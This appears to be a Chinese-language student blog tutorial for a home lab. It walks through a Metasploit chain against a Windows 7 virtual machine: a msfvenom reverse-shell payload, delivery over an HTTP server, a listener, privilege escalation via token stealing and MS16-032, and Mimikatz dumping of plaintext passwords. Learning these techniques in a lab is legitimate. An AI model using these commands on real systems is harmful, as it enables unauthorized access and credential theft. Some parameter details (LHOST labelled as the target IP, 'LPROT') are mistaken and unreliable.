从生成shell到远程连接
前言:
本来是最近打算把时间都花在学c上,渗透目前跟着老师学以后研究,但为了后续上课需求,就必须把这个给拿下了,于是花了今天一天的时间都在研究这个,写一篇详细的实验结果,为了给自己做笔记,也为了刚学msfconsole
提供一个资料参考。不说废话了,以下是我们这篇的目标:
1.生成shell
2.上shell
3.监听
4.拿到会话
5.提权
6.拿到密码
7.远程连接
首先此次实验需要准备一台kali的虚拟机和一台windows 7的虚拟机进行实验。两台虚拟机需要在同一个网段,相互能ping通。
这是kali的IP地址
这是windows 7 的ip地址
如果不在同一个网段的话检查一下虚拟机的设置是不是NAT
同一个网段,我们也可以测试一下。用我们kali ping一下windows 7或者windows 7 ping kali都行。
注意:windows 7要把防火墙关了,不然kali ping不通windows7!!!
最后Xshell连接我们的kali为了更好的操作。(没有的去官网下)
以上只是准备环境,下面正式开始:
进入msfconsole,开始我们的第一步生成shell。
输入以下命令:
msfvenom -platform windows -p windows/meterpreter/reverse_tcp LHOST=目标ip LPROT=4444 EXITFUNC=thread -b '\x00' -f exe-only -o 111.exe
这里windows/meterpreter/reverse_tcp
是攻击的模块,大家根据需求进行更改,这个实验就不用改,后面端口也可以不改,你想换个端口也可以,最后面生成的程序名字也可以换,然后ip就输入自己kali的ip。
这样我们的shell就生成完了。
接下来就是把shell放到windows 7里了,这里我们用kali搭建一个简易的局域网,使windows 7通过这个下载我们的shell。用以下命令:
python3 -m http.server 端口
这时我们需要再开一个kali的会话来进行操作
这里也能不加端口,它会默认8000,然后windows 7通过浏览器访问kali的ip加端口,把我们的shell下载下来,上面我们升成的shell的名字叫111.exe,所有我们把这个下载下来。(如果自带浏览器访问不了,就下个火狐浏览器),下载下来后可以移到桌面,方便后续操作。到这我们第二步也完成了。
接下来,我们通过我们上的shell对目标进行监听,如果对方运行了shell,我们即可得到会话。回到我们之前的会话,使用exploit/multi/handler
模块(监听模块),然后options,查看我们需要进行的配置。
yes的都是必须设置的,这里我们看到我们只需要设置目标ip就行,端口和我们之前生成的shell的端口是一样的所以不需要改,但还有一点要注意,我们的payload
也是需要改的,因为必须和我们之前shell设置的payload
一样,否则参数都对不上如何进行监听?所以我们执行下面两个命令设置ip和改payload
。设置完成后exploit或者run都行,运行。
set LHOST 目标ip
set payload windows/meterpreter/reverse_tcp
然后我们要运行windows 7上的shell,这样就能拿到会话了。第四步完成。
通常,我们可能只获得了一个很低的权限。低的权限级别将使我们受到很多的限制,所有我们需要提升自己的权限,可以使用getuid
命令查看我们的权限。下面我们直接提到最高的System权限。
提权有几种方法,目前我只知道三种,一种普通提权,一种令牌窃取,最后一种利用MS16-032本地溢出漏洞,下面一 一 介绍:
- 普通提权:
getsystem
命令提权,可以看到失败了
- 令牌窃取,
ps
查看进程,找到最高权限使用steal_token 进程ip
命令窃取,可以看到我这里只有我这个用户的权限,所以窃取不了更高权限,令牌窃取不至这么点内容,以及不了解令牌概念的可以去查查资料。
- MS16-032本地溢出漏洞 原理同上可以去查查资料,这里不祥讲了。
首先background
命令将meterpreter会话转为后台运行,然后search
命令搜索MS16-032
漏洞,使用这个模块,再查看我们需要进行的配置,可以看到我们只需要设置需要进行的会话就行,我们上面后台运行的会话是1,我们就设置1就行,设置完后直接运行
运行后我们再查看现在的权限就发现是最高权限了,第五步完成。
最后我们利用现在的权限去拿到密码,就可以进行远程登录了。
加载mimikatz,getpid查看我们当前的进程,可以看到我们当前进程是2660
load mimikatz
getpid
ps
ps查看进程,可以看到我们的进程是x86,而我们的系统是x64的,所以这里需要做个进程迁移到x64,注意不要只挑x64,还要挑最高权限,我之前就是随便挑了个x64,结果不是最高权限后又从头开始了一遍,举个例子,这里我们可以挑2440,然后使用migrate 2440
命令进行迁移,最后使用creds_tspkg
就得到我们目标的明文密码了。kiwi_cmd -f sekurlsa::logonpasswords
这条命令更详细。
拿到明文密码后,就可以进行远程连接了,输入目标ip,然后就可以用用户名和密码登录了,这里就不演示了。
最后,能把别人教会才能说明我是真的学会了,以上省略了我实验的很多错误,不同人可能会遇到不同的错误,这篇博客写了几个小时,真累了,不说了。